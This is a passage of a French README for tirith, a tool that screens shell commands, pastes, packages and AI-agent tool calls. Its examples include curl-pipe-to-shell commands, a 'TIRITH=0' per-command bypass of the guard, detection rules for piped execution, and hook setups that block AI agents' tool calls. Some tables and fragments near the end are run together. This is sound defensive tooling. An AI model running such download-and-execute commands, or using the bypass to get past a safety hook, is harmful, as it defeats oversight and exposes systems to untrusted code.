Les motifs allowlist et allowlist_rules correspondent uniquement aux URLs extraites de l'entrée qui apparaissent dans les preuves d'un constat. Ils ne correspondent jamais au texte brut d'une commande, et un constat sans preuve d'URL ne peut jamais être supprimé par une allowlist, donc un motif en forme de commande comme launchctl list est inerte. Les motifs utilisent la même grammaire que tirith trust : un motif contenant ://, /, ? ou # est une correspondance exacte sur l'URL normalisée (ancrée, la requête et le fragment étant significatifs) ; un hôte pointé nu tel que get.docker.com correspond à ce domaine et à ses sous-domaines ; *.example.com est un joker explicite ; un jeton nu sans point est une correspondance de sous-chaîne sur le texte de l'URL, sauf si ce jeton est un suffixe public tel que com ou dev, auquel cas il est traité comme une correspondance de domaine sur l'hôte de l'URL et correspond à tous les hôtes sous celui-ci. Inspectez ce à quoi une politique se résout avec , et vérifiez une commande spécifique avec .
tirith trust gère les motifs de confiance sans éditer manuellement le YAML de politique. La confiance est étroite et expirante par défaut : faites confiance à l'élément le plus spécifique qui fonctionne, et les entrées expirent après 30 jours sauf si vous désactivez cette option.```bash
tirith trust add raw.githubusercontent.com/org/repo/main/get.sh
tirith trust add get.docker.com --broad --rule curl_pipe_shell
tirith trust add example.com --broad --permanent --reason "internal mirror, OPS-42"
tirith trust list # scope class per entry; '!' marks broad ones tirith trust explain example.com # what it covers, when it expires, why added tirith trust diff # what changed in the trust set tirith trust gc --expired # drop expired entries
La **portée** de chaque entrée est classée comme `exact`, `substring`, `domain`, `wildcard` ou `bare-TLD`. Toute portée non exacte (`substring` / `domain` / `wildcard` / `bare-TLD`) nécessite `--broad`, de sorte qu'une autorisation étendue est toujours un choix délibéré. Les URL exactes utilisent une égalité d'URL normalisée (incluant le schéma, l'hôte, le port effectif, le chemin, la requête et le fragment), jamais une correspondance par sous-chaîne. Toutes les sous-commandes prennent en charge `--format json`. Les magasins de confiance écrits par des versions plus anciennes de tirith continuent de fonctionner sans modification ; une entrée sans TTL est traitée comme permanente.
### Escalade et remplacements d'action
Les avertissements sont suivis par session. Si la même règle se déclenche de manière répétée, les règles d'escalade peuvent passer à un blocage :```yaml
action_overrides:
shortened_url: block # always block, regardless of default severity
escalation:
- trigger: repeat_count
rule_ids: ["*"] # any rule
threshold: 5
window_minutes: 60
action: block
- trigger: multi_medium
min_findings: 3 # 3+ medium findings on one command → block
action: block
Consultez les avertissements accumulés à tout moment :```bash tirith warnings # table of session warnings tirith warnings --format json # structured output tirith warnings --clear # clear after viewing
À la sortie du shell, un résumé d'une ligne est affiché si des avertissements ont été enregistrés pendant la session.
Plus d'exemples dans [docs/cookbook.md](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md).
### Règles de détection personnalisées
Rédigez vos propres règles dans `.tirith/policy.yaml` sous `custom_rules:`. Chaque règle est soit un `pattern:` (regex), soit un arbre de prédicats sémantiques `when:`, accompagné d'un `context:` (`exec`, `paste` ou `file`), d'une `severity:` et d'un `title:`.```yaml
custom_rules:
- id: no_internal_pastebin
context: exec
severity: high
title: "Internal pastebin is not allowed for piped execution"
when:
all:
- command.has_pipeline_to: [bash, sh]
- url.host_matches: "paste\\.corp\\.example$"
Le DSL when: combine all: / any: / not: sur des prédicats tels que command.has_pipeline_to, command.uses_sudo, url.host, url.host_matches, url.reputation, url.domain_not_in, package.ecosystem, package.name_matches, package.reputation et file.path_matches. Les prédicats de réputation lisent la base de données locale signée des menaces, de sorte qu'une règle personnalisée n'effectue toujours aucun appel réseau sur le chemin critique. Validez et effectuez un dry-run avant de committer :```bash
tirith rule validate # check every custom rule: shape + context coverage
tirith rule test --rule no_internal_pastebin --input "echo hi | bash"
tirith rule explain --rule no_internal_pastebin
### Autres contrôles de politique
Les autres clés de politique, toutes avec des valeurs par défaut sûres (`tirith policy init` écrit l'ensemble entièrement commenté) :
- Les seuils `package_policy:` transforment les signaux de chaîne d'approvisionnement en verdicts de blocage ou d'avertissement (`block_typosquat_distance`, `warn_low_downloads_below`, `block_newer_than_days`, `block_not_found`).
- `agent_rules:` `allow:` / `deny:` correspondent à l'origine de l'appelant d'une commande (`{ kind, name }`) ; une correspondance `deny` force un blocage. `scan.trusted_mcp_servers` et `scan.mcp_allowed_tools` acceptent des serveurs MCP spécifiques et des outils par serveur.
- Garde-fous opt-in, désactivés par défaut : `env_guard_enabled`, `exec_guard_enabled`, `hooks_guard_enabled`, `baseline_enabled`, plus `iac_require_plan_before_apply`, `sudo_require_reason`, et `allowed_install_domains`.
Les fichiers `.tirith/policy.yaml` à portée dépôt ne peuvent que resserrer, jamais assouplir : une politique de dépôt qui tente d'élargir une liste d'autorisation, d'abaisser une sévérité ou de désactiver un garde-fou est neutralisée, et `tirith policy effective` indique quels champs ont été écartés. Seules les politiques au niveau utilisateur et au niveau organisation (`TIRITH_POLICY_ROOT`) peuvent assouplir une valeur par défaut.
### Mode d'avertissement strict
Avec `strict_warn: true` (ou `--strict-warn` sur la CLI), les constats à risque moyen demandent une confirmation explicite dans les terminaux interactifs au lieu d'avertir silencieusement :```
$ curl -sSL https://get.docker.com | sh
tirith: WARNING
[MEDIUM] pipe_to_interpreter, Download piped to interpreter
tirith: proceed with 1 warning(s)? [y/N]
Les hooks shell utilisent le code de sortie 3 pour le protocole warn-ack. Les anciens hooks qui ne connaissent pas le code de sortie 3 basculent vers un comportement fail-open.
[!NOTE] Le code de sortie 3 est le chemin du protocole de hook warn-ack, et non le contrat direct-CLI normal. Les appelants non-hook ne devraient normalement pas voir le code de sortie 3 ; s'ils le voient, cela indique qu'un accusé de réception est requis.
Pour le rare cas où vous savez exactement ce que vous faites :```bash TIRITH=0 curl -L https://something.xyz | bash
Il s'agit d'un préfixe shell standard par commande ; la variable n'existe que pour cette seule commande et ne persiste pas dans votre session. Les organisations peuvent la désactiver entièrement avec `allow_bypass_env: false` dans la politique.
> [!CAUTION]
> `TIRITH=0` est par commande. Ne l'exportez pas dans les profils shell, les dotfiles ou la configuration CI ; un contournement permanent anéantit tout le modèle de protection. Si vous vous surprenez à y recourir souvent, ajoutez plutôt la source de confiance à `allowlist` dans votre fichier de politique.
---
## Traitement des données
Journal d'audit JSONL local à `~/.local/share/tirith/log.jsonl` :
- Horodatage, ID de session, action, ID de règles, aperçu de commande expurgé
- Données de détection brutes (`raw_action`, `raw_rule_ids`) conservées aux côtés de l'action appliquée pour l'audit de couverture
- État d'avertissement de session à `~/.local/state/tirith/sessions/`
- **Aucune** commande complète, variable d'environnement ou contenu de fichier
Désactiver : `export TIRITH_LOG=0`
---
## Documentation
- [Référence des commandes](https://github.com/sheeki03/tirith/blob/main/docs/commands.md) : chaque sous-commande, groupée par catégorie
- [Matrice de capacités](https://github.com/sheeki03/tirith/blob/main/docs/capability-matrix.md) : couverture par commande (ce que tirith inspecte, et si la politique le gouverne entièrement)
- [Couverture d'application](https://github.com/sheeki03/tirith/blob/main/docs/enforcement-coverage.md) : registre par capacité séparant détection, décision de préflight, application à l'exécution, confinement et attestation
- [Modèle de menace](https://github.com/sheeki03/tirith/blob/main/docs/threat-model.md), ce contre quoi tirith protège et ce contre quoi il ne protège pas
- [Recueil de recettes](https://github.com/sheeki03/tirith/blob/main/docs/cookbook.md), exemples de politiques pour des configurations courantes
- [Dépannage](https://github.com/sheeki03/tirith/blob/main/docs/troubleshooting.md), particularités des shells, latence, faux positifs
- [Compatibilité](https://github.com/sheeki03/tirith/blob/main/docs/compatibility.md), surface stable vs expérimentale
- [Notes de version 0.4.2](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.2.md), ce que change la version corrective actuelle, et les [notes de version 0.4.0](https://github.com/sheeki03/tirith/blob/main/docs/release-notes-0.4.0.md) pour les points forts, limites et contrat de publication de la branche 0.4
- [Liste de contrôle de publication](https://github.com/sheeki03/tirith/blob/main/docs/release-checklist.md), séquence de publication protégée et vérification du registre
- [Politique de sécurité](https://github.com/sheeki03/tirith/blob/main/SECURITY.md), signalement de vulnérabilités
- [Désinstallation](https://github.com/sheeki03/tirith/blob/main/docs/uninstall.md), suppression propre par shell et gestionnaire de paquets
Guides de fonctionnalités :
- [Garde de commandes Web3](https://github.com/sheeki03/tirith/blob/main/docs/security/web3-command-guard.md) (la politique `web3_guard`, les trois règles Web3 et les liaisons command-card v2)
- [Enveloppe de tâche](https://github.com/sheeki03/tirith/blob/main/docs/task-envelope.md) (provenance de tâche non fiable, la politique `task_gate` et l'outil MCP de prévisualisation)
- [Projets non fiables](https://github.com/sheeki03/tirith/blob/main/docs/untrusted-projects.md) (le flux de travail « quelqu'un m'a envoyé un dépôt »)
- [Flux d'artefacts CI](https://github.com/sheeki03/tirith/blob/main/docs/ci-artifact-flow.md) (empoisonnement d'artefacts de build entre workflows)
- [Audit d'extensions de navigateur](https://github.com/sheeki03/tirith/blob/main/docs/browser-extension-audit.md) (audit d'intégrité en lecture seule de la famille Chromium)
- [Reçu de provenance npm](https://github.com/sheeki03/tirith/blob/main/docs/npm-provenance-receipt.md) (`pkg attest-npm`, et ce qu'il ne lie pas exactement)
- [Reçus d'attestation](https://github.com/sheeki03/tirith/blob/main/docs/attestation-receipts.md) (reçus de build et de déploiement à un instant donné)
- [Déploiement progressif et retour arrière](https://github.com/sheeki03/tirith/blob/main/docs/web3-task-rollout.md) (activation par étapes, déclencheurs et procédure de repli)
- [Gouvernance des agents](https://github.com/sheeki03/tirith/blob/main/docs/agent-governance-design.md) (attribution de l'origine de l'appelant et `agent_rules`)
- [Filtre de sortie MCP](https://github.com/sheeki03/tirith/blob/main/docs/mcp-output-filter.md) (la passerelle et le contrat d'assainissement des sorties MCP)
- [Modes Doctor](https://github.com/sheeki03/tirith/blob/main/docs/doctor-modes.md) (complet vs `--quick`, et le schéma d'instantané JSON)
- [Profils LSP et éditeurs](https://github.com/sheeki03/tirith/blob/main/docs/lsp-profiles.md) (diagnostics d'éditeur en ligne)
- [Messagerie native du navigateur](https://github.com/sheeki03/tirith/blob/main/docs/browser-native-messaging.md) (hôte et extension de provenance du presse-papiers)
- [Provenance du collage](https://github.com/sheeki03/tirith/blob/main/docs/paste-provenance.md) (la règle `paste_source_mismatch`)
- [Formats de canaris](https://github.com/sheeki03/tirith/blob/main/docs/canary-formats.md) (formats de honeytokens synthétiques)
- [Intégration de l'invite](https://github.com/sheeki03/tirith/blob/main/docs/prompt-integration.md) (intégrer `tirith prompt-status` dans votre invite shell)
## Licence
**La couverture de sécurité principale est livrée dans l'arborescence open source.** Les 244 règles de détection et le serveur MCP sont disponibles depuis les sources. Le dépôt contient encore des chemins de code hérités de licence et de serveur de politique, donc évitez de supposer que chaque chemin d'exécution est déjà exempt de niveaux.
tirith est sous double licence :
- **AGPL-3.0-only** : [LICENSE-AGPL](https://github.com/sheeki03/tirith/blob/main/LICENSE-AGPL), libre sous les termes du copyleft
- **Commerciale** : [LICENSE-COMMERCIAL](https://github.com/sheeki03/tirith/blob/main/LICENSE-COMMERCIAL), si les obligations copyleft de l'AGPL ne conviennent pas à votre cas d'usage, contactez [email protected] pour une licence alternative
Attributions de données tierces dans [NOTICE](https://github.com/sheeki03/tirith/blob/main/NOTICE).
## Historique des étoiles
[](https://star-history.dera.page/#sheeki03/tirith&Date)
href$PATHtirith paste --with-source, tirith browser). Avec l'hôte de messagerie native Chrome compagnon installé, tirith attribue une commande collée à sa page source et signale un collage dont l'hôte source diffère de l'endroit où la commande s'exécute.| Hôte | Configuration | Couche de protection installée par la configuration | Portée |
|---|
| Claude Code | tirith setup claude-code --with-mcp | Blocage PreToolUse ; MCP facultatif | Projet par défaut ou utilisateur |
| Cline | tirith setup cline | Blocage PreToolUse sur POSIX et PowerShell, plus MCP ; l'hôte exécute l'outil si le processus de hook échoue | Utilisateur uniquement ; les hooks doivent être activés dans Cline |
| OpenAI Codex | tirith setup codex | Passerelle MCP ; garde zsh non interactive facultative avec --install-zshenv | Utilisateur uniquement |
| GitHub Copilot CLI | tirith setup copilot-cli | Hook preToolUse bloquant | Projet uniquement ; lancer depuis la racine du dépôt |
| Continue | tirith setup continue | MCP uniquement | Projet uniquement |
| Cursor | tirith setup cursor | Hook beforeShellExecution plus passerelle MCP ; garde zsh facultative | Projet par défaut ou utilisateur |
| Vercel Labs fx | tirith setup fx | MCP uniquement | Profil utilisateur de confiance uniquement |
| Gemini CLI | tirith setup gemini-cli --with-mcp | Blocage BeforeTool ; MCP facultatif | Projet par défaut ou utilisateur |
| Grok Build | tirith setup grok-build | PreToolUse POSIX plus MCP ; l'hôte peut échouer en mode ouvert en cas d'erreur ou de délai d'attente du hook | Projet par défaut ou utilisateur |
| Kiro CLI | tirith setup kiro | Hook preToolUse bloquant à portée d'agent | Projet par défaut ou utilisateur ; l'agent activé par Tirith doit être chargé |
| OMP / Oh My Pi | tirith setup omp | Garde tool_call bloquante plus MCP | Utilisateur/profil uniquement |
| OpenClaw | tirith setup openclaw | Plugin before_tool_call bloquant | Projet par défaut ou utilisateur |
| OpenCode | tirith setup opencode | MCP uniquement | Projet par défaut ou utilisateur |
| OpenHands CLI | tirith setup openhands | Hook pre_tool_use POSIX plus MCP utilisateur ; l'hôte peut échouer en mode ouvert en cas d'erreur du hook | Utilisateur par défaut ; hook de projet également pris en charge |
| Pi CLI | tirith setup pi-cli | Extension tool_call bloquante | Projet par défaut ou utilisateur |
| Prime Agent | tirith setup prime-agent | Garde bash/IPython bloquante plus MCP | Utilisateur uniquement |
| Roo Code | tirith setup roo-code | MCP uniquement | Projet uniquement |
| VS Code | tirith setup vscode | Hook d'espace de travail plus passerelle MCP ; garde zsh facultative | Projet uniquement |
| Windsurf | tirith setup windsurf | Hook pre_run_command plus passerelle MCP ; garde zsh facultative | Utilisateur uniquement |
| Commande | Ce qu'elle fait |
|---|
tirith check -- <cmd> | Analyse une commande sans l'exécuter (--suggest ajoute une remédiation et, une fois vérifiée, une réécriture mécanique étroite) |
tirith paste | Vérifie le contenu collé (appelé automatiquement par les hooks du shell) |
tirith scan [path] | Analyse les fichiers, répertoires et configurations (--profile, --format sarif, --ci) |
tirith run [--capsule] <url> | Inspecte un script distant (--no-exec sous Unix) ; l'exécution en direct sous Linux est confinée et fail-closed par défaut, en utilisant les octets exacts revus depuis un descripteur anonyme scellé (--capsule est une orthographe de compatibilité héritée) |
tirith fix -- <cmd> | Applique de manière interactive une réécriture vérifiée fail-closed de pipe-runner lorsqu'elle est disponible ; sinon affiche des conseils |
tirith score <url> / diff <url> | Décompose les signaux de confiance d'une URL, ou montre où se cachent les caractères suspects |
tirith explain --rule <id> / why | Documentation des règles et remédiation, ou explique le dernier déclenchement |
tirith status / doctor | Êtes-vous protégé ? Diagnostique l'installation, les hooks et la politique (--fix, --quick) |
tirith setup <tool> / init | Configuration d'un outil d'IA en une commande, ou affiche le hook du shell |
tirith policy {init,validate,test} | Échafaude, valide et teste à blanc votre politique |
tirith trust {add,list,remove} | Gère les motifs de confiance (portée étroite, TTL de 30 jours par défaut) |
tirith threat-db update | Télécharge et vérifie la base de données de menaces signée |
tirith package risk <eco> <name> | Évalue le risque de chaîne d'approvisionnement d'un paquet |
tirith ecosystem scan [path] | Évalue chaque dépendance déclarée dans un projet |
tirith package inspect --artifact <wheel> | Inspecte les octets exacts d'un artefact Python, les hooks de démarrage, le code natif, l'intégrité RECORD et les chaînes d'exécution inter-wheels |
tirith pkg {approve,install,verify-env} | Approuve, épingle par hachage, confine, installe et vérifie les paquets Python sur les hôtes Linux x86_64 pris en charge |
tirith mcp {lock,verify} | Épingle et contrôle les serveurs MCP d'un dépôt |
tirith gateway run | Fait office de proxy pour un serveur MCP amont et applique les limites configurées de requêtes/sorties |
tirith daemon start | Démon en arrière-plan pour des vérifications plus rapides (Unix) |
| Commande | Ce qu'elle fait |
|---|
tirith task check | Aperçu. Évalue une enveloppe de tâche non fiable (corps d'issue, PDF, page web) et indique quels effets seraient autorisés. N'exécute rien et n'arrête rien |
tirith capsule run --preset untrusted-project | Copie un projet non fiable dans un répertoire éphémère retenu et exécute un argv exact dans une capsule fail-closed. Applicable uniquement sur Linux x86_64 ; tout autre hôte refuse avant que quoi que ce soit ne soit copié ou lancé |
tirith browser audit | Audit d'intégrité en lecture seule des arborescences sources des extensions de la famille Chromium installées, avec détection de dérive par rapport à une référence signée |
tirith pkg attest-npm | Demande au npm du projet lui-même de vérifier les signatures de registre de ses paquets installés, liées au lockfile exact et à l'arborescence d'installation |
tirith attest {build,verify-build,deployment,verify-deployment} | Reçus ponctuels sur deux arborescences et sur les routes déployées. Pas une affirmation de build reproductible, ni une surveillance continue |
TIRITH_OFFLINE=1tirith paste--suggest et explain --fix affichent une commande distincte que vous pouvez exécuter ; ils n'en substituent jamais une.tirith daemon start optionnel est le seul processus résident, et il est à activation volontaire.run, fetch et audit report --upload n'atteignent le réseau que sur invocation
explicite ; check utilise les sources de menaces d'exécution configurées et le
rafraîchissement de la base de menaces suit le calendrier ci-dessus. Le mode démon ajoute une résolution
d'URL consciente du réseau, et les intégrations optionnelles de webhook / serveur de politique peuvent émettre
des requêtes sortantes lorsqu'elles sont configurées. --offline / TIRITH_OFFLINE=1 désactive
tous les producteurs réseau du chemin critique de check, en mode démon comme en ligne.tirith run, fetch --save et command-card fetch refusent par défaut les hôtes privés, loopback et de métadonnées cloud, et un
garde SSRF revérifie le DNS au moment de la connexion et à chaque saut de redirection. Pour atteindre un
service interne spécifique, réglez TIRITH_PRIVATE_FETCH_ALLOW sur une liste séparée par des virgules
de noms d'hôtes exacts, d'IP privées ou de CIDR privés bornés (par exemple,
registry.internal,10.42.0.0/24). L'ancien commutateur large
TIRITH_ALLOW_PRIVATE_FETCH=1 n'est pas honoré. Les points de terminaison link-local, à usage spécial,
et de plan de contrôle/identifiants cloud restent bloqués même lorsqu'un hôte est
approuvé. Notez ce qu'accorde une entrée de nom d'hôte : ce nom est approuvé pour
tout ce vers quoi il résout dans l'espace privé et loopback, 127.0.0.1
inclus, car la résolution ne fait pas partie de la décision de confiance. Préférez une entrée CIDR
lorsque vous visez une plage d'adresses fixe, et n'utilisez un nom d'hôte que lorsque le
nom lui-même est ce en quoi vous avez confiance.tirith policy effectivetirith policy test '<command>'